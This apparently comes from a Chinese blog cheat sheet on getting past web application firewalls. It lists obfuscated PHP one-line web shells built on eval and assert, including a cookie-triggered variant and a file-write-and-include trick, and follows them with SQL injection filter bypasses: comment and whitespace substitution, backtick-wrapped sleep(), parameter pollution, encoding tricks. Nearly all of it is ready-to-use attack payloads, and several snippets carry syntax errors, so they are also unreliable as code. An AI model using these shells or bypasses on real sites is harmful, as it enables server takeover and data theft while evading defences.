<?php eval($_REQUEST['a']]);?>
写$_REQUEST无报错,加上 '[]' 后报错
利用end()绕过,end()函数的意义:输出数组中当前元素和最后一个元素的值
当用菜刀连接时,无需密码
<?php
define("a", "$_REQUEST[2]");
eval(a);
?>
<?php
$a = 'ass';
$b = 'ert';
$c = $a.$b;
$d = 'c';
@$$d($_REQUEST['a']]);
?>
<?php
function a($a){
return $a;
}
function b($b){
return eval($b);
}
b(a($_REQUEST)['a']);
?>
<?php
class User{
public $name = '';
function __destruct(){
eval("$this->name");
}
}
$user = new User;
$user -> name = "._REQUEST[1]";
?>
<?php
$COOKIE = $_COOKIE;
foreach($COOKIE as $key => $value){
if($key == 'assert'){
$key($_REQUEST[1]);
}
}
?>
<?php
$a = get_define_function(); // 返回所有已定义函数的数组【是一个二维数组】
$a[internal][841]($_REQUEST[1]); // 利用internal里面的第841个值【这个值就是assert,后面加个括号代表函数】
?>
但数据库中必须有一个字段的值是eval($_REQUEST[a])
echo "<?php eval($_REQUEST[1]);?>" > /:1.txt
<?php include('/:1.txt');?>
包含一句话木马union select 绕过
区别拦截哪个
union
select
union select
内联注释
union /*!select*/
union /*!版本号select*/
and 绕过
&
进行替换or 绕过
xor
、&
、^
、||
进行替换空格 绕过
%20
、%0a
、%09
、%a0
、%0b
、%0c
、%0d
、+
、()
、/**/
进行替换= 绕过
like
、regexp
、liker
、<>
、!=
进行替换函数替换
MySql的注释方法
/**/
内联注释 —— 里面的东西可以执行
/*!*/
如:/*!版本号(10000-99999)*/
and => And
selselectect
%0a(换行)
union
/*!10044select*/
1,2,3 -- 123/*%oafrom admin#*/
有些函数加了`后会运行
sleep()、updatexml()、
?id=1 and sleep(5) // 被拦截
?id=1 and `sleep`(5)// 就不会被拦截
Apache
参数污染
http://127.0.0.1?id=1&id=2
http://127.0.0.1?id=1/*&id=2*/
IIS
%分割
select
s%e%l%e%c%t
管理员权限或者是127.0.0.1访问
改成POST数据包
类似文件上传的绕过,通过畸形的HTTP协议头绕过WAF检测
老版本的WAF可以通过加入:
Content-Encoding:deflate
就可以绕过WAF
将关键字转换成Unicode或者Hex编码方式,Java程序自动解码,在一定程度上可以绕过WAF
部分WAF会将公开的漏洞利用链设置为黑名单,只能自行寻找
手机扫一扫
移动阅读更方便
你可能感兴趣的文章